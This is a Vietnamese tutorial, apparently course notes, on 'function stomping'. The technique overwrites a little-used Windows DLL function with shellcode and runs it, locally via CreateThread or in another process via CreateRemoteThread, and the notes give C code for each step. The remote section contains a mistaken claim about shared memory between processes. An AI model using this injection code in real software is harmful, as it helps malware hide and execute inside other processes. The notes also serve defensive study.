Function Stomping
Khái niệm “stomping” được sử dụng để mô tả việc ghi đè hoặc thay thế vùng nhớ của một hàm hoặc một cấu trúc dữ liệu ở trong chương trình bằng một giá trị khác.
Kỹ thuật function stomping liên quan đến việc ghi đè các byte gốc của hàm bằng các byte khác nhằm khiến cho hàm đó thực thi một logic khác. Để làm được điều này, ta cần tìm một địa chỉ của hàm dùng để “hy sinh”.
Choosing a Target Function
Việc ghi đè các hàm thường dùng có thể dẫn đến việc thực thi không như mong muốn của payload hoặc tiến trình bị crash. Do đó, việc chọn các hàm ở trong ntdll.dll
, kernel32.dll
và kernelbase.dll
là rất rủi ro. Thay vào đó, ta nên chọn các hàm ít dùng chẳng hạn như MessageBox
.
Using The Stomped Function
Khi hàm được chọn bị thay thế bởi các byte của payload, hàm đó không thể được sử dụng nữa trừ khi ta cần thực thi payload. Nói cách khác, ta chỉ có thể gọi hàm bị ghi đè một lần duy nhất trong suốt chương trình.
Local Function Stomping
Chúng ta sẽ thực hiện ghi đè hàm SetupScanFileQueueA
mà được export từ Setupapi.dll
. Việc đầu tiên mà ta cần làm là nạp Setupapi.dll
vào bộ nhớ sử dụng hàm LoadLibraryA
rồi dùng hàm GetProcAddress
để lấy ra địa chỉ của hàm.
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL){
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] DONE \n");
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
Bước tiếp theo là ghi đè vùng nhớ của hàm bằng payload thông qua hàm sau:
BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
printf("[!] VirtualProtect [RW] Failed With Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect [RWX] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Giải thích hàm trên: để ghi đè vùng nhớ của hàm, mà cụ thể là SetupScanFileQueueA
, ta cần đảm bảo rằng vùng nhớ của SetupScanFileQueueA
có quyền đọc và ghi bằng cách sử dụng VirtualProtect
. Sau đó, payload sẽ được sao chép vào vùng nhớ của SetupScanFileQueueA
và VirtualProtect
sẽ được gọi một lần nữa để cho phép vùng nhớ đó quyền thực thi (RX
hoặc RWX
).
Sau khi ghi đè hàm bằng payload, ta có thể tạo ra một thread mới để thực thi hàm bị ghi đè (trong trường hợp này ta có thể xem thân hàm như là vùng nhớ dùng để chứa payload):
hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
Demo
Các byte gốc của hàm trước khi bị ghi đè:
Các byte của hàm sau khi bị ghi đè bởi payload:
Inserting DLL Into Binary
Thay vì liên kết động Setupapi.dll
, ta có thể thực hiện liên kết tĩnh bằng cách sử dụng chỉ thị trình biên dịch pragma comment
như sau:
#pragma comment (lib, "Setupapi.lib") // Adding "setupapi.dll" to the Import Address Table
Khi đó, thay vì sử dụng LoadLibraryA
và GetProcAddress
, ta có thể lấy ra địa chỉ của hàm SetupScanFileQueueA
thông qua toán tử &
:
printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);
if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Using the address-of operator
return -1;
}
Remote Function Stomping
Các hàm trong các DLL của Windows API có cùng địa chỉ trong mọi tiến trình. Tuy nhiên, địa chỉ mà DLL được nạp vào mỗi tiến trình có thể khác nhau.
Important
Để có thể thực hiện remote function stomping, DLL mà export hàm bị ghi đè cần phải được nạp lên tiến trình mục tiêu.
Trước tiên, ta sẽ lấy handle của tiến trình mục tiêu:
HANDLE hProcess = NULL,
hThread = NULL;
PVOID pAddress = NULL;
DWORD dwProcessId = NULL;
HMODULE hModule = NULL;
if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
printf("[!] Process is Not Found \n");
return -1;
}
Sau đó, ta cũng sẽ liên kết động Setupapi.dll
để tìm địa chỉ của SetupScanFileQueueA
mà ta cần ghi đè và thực hiện ghi đè trong tiến trình hiện tại:
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"
printf("[i] Loading \"%s\"... ", SACRIFICIAL_DLL);
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL) {
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] DONE \n");
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
if (!WritePayload(hProcess, pAddress, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] DONE \n");
Hàm WritePayload
được hiện thực tương tự như trong Local Function Stomping.
Do địa chỉ của SetupScanFileQueueA
là giống nhau với mọi tiến trình. Việc ghi ở tiến trình hiện tại cũng đồng nghĩa với việc ghi đè ở tiến trình mục tiêu.
Cuối cùng, sử dụng CreateRemoteThread
để thực thi payload:
hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
Với hProcess
là handle của tiến trình mục tiêu và pAddress
là địa chỉ của hàm SetupScanFileQueueA
(cũng là vùng nhớ chứa payload).
Demo
Để demo, ta sẽ nhắm vào hàm MessageBoxA
của user32.dll
.
Lấy ra địa chỉ của MessageBoxA
:
Một số byte gốc của MessageBoxA
:
Ghi đè thân hàm bằng payload: